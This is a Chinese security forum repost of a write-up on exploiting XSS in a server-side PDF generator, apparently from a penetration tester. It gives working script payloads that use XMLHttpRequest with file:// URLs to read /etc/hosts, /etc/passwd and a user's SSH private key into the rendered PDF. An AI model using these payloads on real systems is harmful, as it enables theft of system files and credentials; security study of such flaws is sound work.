安全矩阵

 找回密码
 立即注册
搜索
查看: 655|回复: 0

XSS漏洞_从PDF中获取数据

[复制链接]

181

主题

182

帖子

721

积分

高级会员

Rank: 4

积分
721
发表于 2023-2-8 15:17:01 | 显示全部楼层 |阅读模式
本帖最后由 wangqiang 于 2023-2-8 15:20 编辑

XSS漏洞_从PDF中获取数据
爱吃猫的闲鱼 衡阳信安
2023-02-06 08:42 发表于山东

一 前言
作为一名漏洞复现工程师的我在试图挖掘XSS漏洞时,不论是正常的输入payload触发XSS还是通过导入xls、pdf等文件进行解析或者
自己输出内容生成xls pdf文件时触发XSS,总喜欢浅尝辄止,看到触发了XSS漏洞就可以了。有时候多想一步看看是否可以结合本地
文件包含或者SSRF漏洞,实现漏洞利用的最大化。

二 准备阶段
这是一个读者可以上传图书内容的功能,读者在前台上传了之后会在后台生成一个PDF文件,一般情况下基于用户输入生成PDF文件的地
方可能容易受到XSS的攻击,从而泄露服务器的敏感数据。

用户可以在该处输入书名、作者,以及上传图书内容

用户上传之后会在后台生成一个包含书名 作者 书的内容链接的pdf文件

一般的测试步骤如下
1 找到可控的输入
2 尝试对输入进行HTML标记,看是否可以解析HTML
3 测试不同的协议(比如file http https),尝试读取内部文件(这是最重要的,探测到使用的是什么协议才方便来读物内部文件)
4 使用JS注入来读取内部文件

三 漏洞利用
根据上面的步骤一步步来
在输入框输入
r3dbucket
相关数据包如下

然后在后台生成了一个PDF文件,我们打开PDF,可以看到HTML的标签被解析了

基础有了,感觉有戏,写个XSS payload,增强下信心
  1. <img src="x" onerror="document.write('test')" />
复制代码


内心毫无激动,常规操作了(内心慌的很,生怕在进行各种绕过)

接下来探测下使用的是什么协议,方便进行文件的读取操作
  1. <script>document.write(document.location.href)</script>
复制代码


可以看到用的是file协议,然后构造payload进行文件的读取,读取下hosts文件和passwd文件,构造payload如下
  1. <script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open(‘GET’,’file:///etc/hosts’);x.send();</script>

  2. <script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open(‘GET’,’file:///etc/passwd’);x.send();</script>
复制代码

可以看到我们的payload是成功的,成功读取到了hosts文件和passwd文件的内容

拿下主机权限是我们的最终目标,尝试去读取id_rsa
  1. <script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///home/reader/.ssh/id_rsa");x.send();</script>
复制代码


接下来就是进行图片文字识别,然后进行登录了。

四 总结
这个漏洞可以看成是回显的吧,可以通过下载PDF来看,不必要在通过外带技术来看是否成功了,总之单个漏洞的危害也许有限,
组合拳的危害就大了,学习之路任重道远呀。


来源:先知社区的【爱吃猫的闲鱼】师傅
注:如有侵权请联系删除




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 22:42 , Processed in 0.012895 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表